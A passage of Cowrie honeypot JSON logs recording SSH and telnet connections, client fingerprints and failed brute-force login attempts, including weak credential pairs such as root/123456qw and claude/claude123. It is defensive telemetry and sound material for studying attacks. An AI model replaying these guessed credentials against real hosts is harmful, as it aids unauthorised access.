mac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:29.835871Z","src_ip":"103.24.63.85","session":"df0f0273e5ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:30.418746Z","src_ip":"103.24.63.85","session":"df0f0273e5ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:31.867240Z","src_ip":"103.24.63.85","session":"df0f0273e5ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60548,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe5a38f545e1","protocol":"telnet","message":"New connection: 192.119.13.58:60548 (10.17.0.5:23) [session: fe5a38f545e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:34.513024Z"}
{"eventid":"cowrie.session.closed","duration":47.71295762062073,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:36.874630Z","src_ip":"192.119.13.58","session":"7c368da2aa48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50008,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7ef0f9f5c05","protocol":"telnet","message":"New connection: 192.119.13.58:50008 (10.17.0.5:23) [session: b7ef0f9f5c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:38.814845Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33096,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f26490b9cf","protocol":"telnet","message":"New connection: 192.119.13.58:33096 (10.17.0.5:23) [session: 01f26490b9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:41.639050Z"}
{"eventid":"cowrie.session.closed","duration":48.2861225605011,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:43.918747Z","src_ip":"192.119.13.58","session":"fd9ab43bb792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.05941581726074,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:53.126584Z","src_ip":"192.119.13.58","session":"6bd54a311f53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33036,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a1480b94cde","protocol":"telnet","message":"New connection: 192.119.13.58:33036 (10.17.0.5:23) [session: 8a1480b94cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:55.507704Z"}
{"eventid":"cowrie.session.closed","duration":35.831738233566284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:55.878804Z","src_ip":"192.119.13.58","session":"78a185ceb6d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.843904972076416,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:56.929250Z","src_ip":"192.119.13.58","session":"894c33982aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":36570,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6b1e170b347","protocol":"ssh","message":"New connection: 103.15.222.183:36570 (159.203.135.109:22) [session: a6b1e170b347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:58.596642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:58.601152Z","src_ip":"103.15.222.183","session":"a6b1e170b347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:58.838098Z","src_ip":"103.15.222.183","session":"a6b1e170b347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567qwe","message":"login attempt [root/1234567qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:59.550899Z","src_ip":"103.15.222.183","session":"a6b1e170b347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:00.790795Z","src_ip":"103.15.222.183","session":"a6b1e170b347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.832019567489624,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:01.505939Z","src_ip":"192.119.13.58","session":"af59f4b1836b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37944,"dst_ip":"10.17.0.5","dst_port":23,"session":"3530067dd6ed","protocol":"telnet","message":"New connection: 192.119.13.58:37944 (10.17.0.5:23) [session: 3530067dd6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:03.827807Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43326,"dst_ip":"10.17.0.5","dst_port":23,"session":"abda7f019e1d","protocol":"telnet","message":"New connection: 192.119.13.58:43326 (10.17.0.5:23) [session: abda7f019e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:05.172863Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":60215,"dst_ip":"159.203.135.109","dst_port":22,"session":"307fc0971812","protocol":"ssh","message":"New connection: 14.224.227.189:60215 (159.203.135.109:22) [session: 307fc0971812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:08.483069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:08.488292Z","src_ip":"14.224.227.189","session":"307fc0971812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:08.729448Z","src_ip":"14.224.227.189","session":"307fc0971812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:09.722634Z","src_ip":"14.224.227.189","session":"307fc0971812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49504,"dst_ip":"10.17.0.5","dst_port":22,"session":"24f0b52245f3","protocol":"ssh","message":"New connection: 194.113.233.25:49504 (10.17.0.5:22) [session: 24f0b52245f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:10.692473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:10.700280Z","src_ip":"194.113.233.25","session":"24f0b52245f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:10.796016Z","src_ip":"194.113.233.25","session":"24f0b52245f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:10.967616Z","src_ip":"14.224.227.189","session":"307fc0971812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qw","message":"login attempt [root/123456qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:11.076509Z","src_ip":"194.113.233.25","session":"24f0b52245f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:12.173180Z","src_ip":"194.113.233.25","session":"24f0b52245f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.821224212646484,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:12.334164Z","src_ip":"192.119.13.58","session":"fe5a38f545e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59698,"dst_ip":"10.17.0.5","dst_port":23,"session":"a342d8163c96","protocol":"telnet","message":"New connection: 192.119.13.58:59698 (10.17.0.5:23) [session: a342d8163c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:16.522583Z"}
{"eventid":"cowrie.session.closed","duration":41.55819821357727,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:23.197136Z","src_ip":"192.119.13.58","session":"01f26490b9cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":3274,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd5c6a57ba58","protocol":"ssh","message":"New connection: 181.0.214.136:3274 (159.203.135.109:22) [session: fd5c6a57ba58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:24.490179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:24.495652Z","src_ip":"181.0.214.136","session":"fd5c6a57ba58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:24.660328Z","src_ip":"181.0.214.136","session":"fd5c6a57ba58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35706,"dst_ip":"10.17.0.5","dst_port":23,"session":"658e485e88a5","protocol":"telnet","message":"New connection: 192.119.13.58:35706 (10.17.0.5:23) [session: 658e485e88a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:24.814924Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:25.326173Z","src_ip":"181.0.214.136","session":"fd5c6a57ba58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:26.489162Z","src_ip":"181.0.214.136","session":"fd5c6a57ba58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42488,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b799b76c81","protocol":"telnet","message":"New connection: 192.119.13.58:42488 (10.17.0.5:23) [session: c1b799b76c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:26.558710Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46494,"dst_ip":"10.17.0.5","dst_port":23,"session":"712d7d825f9d","protocol":"telnet","message":"New connection: 192.119.13.58:46494 (10.17.0.5:23) [session: 712d7d825f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:27.519916Z"}
{"eventid":"cowrie.session.closed","duration":50.316858768463135,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:29.131591Z","src_ip":"192.119.13.58","session":"b7ef0f9f5c05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60300946235657,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:30.110608Z","src_ip":"192.119.13.58","session":"8a1480b94cde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.6393795013427734,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:30.159188Z","src_ip":"192.119.13.58","session":"712d7d825f9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.269779920578,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:40.097487Z","src_ip":"192.119.13.58","session":"3530067dd6ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32810,"dst_ip":"10.17.0.5","dst_port":23,"session":"e064cf16a942","protocol":"telnet","message":"New connection: 192.119.13.58:32810 (10.17.0.5:23) [session: e064cf16a942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:44.564054Z"}
{"eventid":"cowrie.session.closed","duration":42.65266537666321,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:47.825385Z","src_ip":"192.119.13.58","session":"abda7f019e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":45294,"dst_ip":"159.203.135.109","dst_port":22,"session":"47c1f15f6b42","protocol":"ssh","message":"New connection: 176.32.39.21:45294 (159.203.135.109:22) [session: 47c1f15f6b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:51.476241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:51.481418Z","src_ip":"176.32.39.21","session":"47c1f15f6b42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:51.600616Z","src_ip":"176.32.39.21","session":"47c1f15f6b42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"333666","message":"login attempt [root/333666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:51.977690Z","src_ip":"176.32.39.21","session":"47c1f15f6b42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37400,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4862e9bd896","protocol":"telnet","message":"New connection: 192.119.13.58:37400 (10.17.0.5:23) [session: c4862e9bd896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:52.725514Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:53.099569Z","src_ip":"176.32.39.21","session":"47c1f15f6b42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":37227,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e00634b763","protocol":"ssh","message":"New connection: 103.24.63.85:37227 (159.203.135.109:22) [session: 63e00634b763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:54.980069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:54.992051Z","src_ip":"103.24.63.85","session":"63e00634b763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-s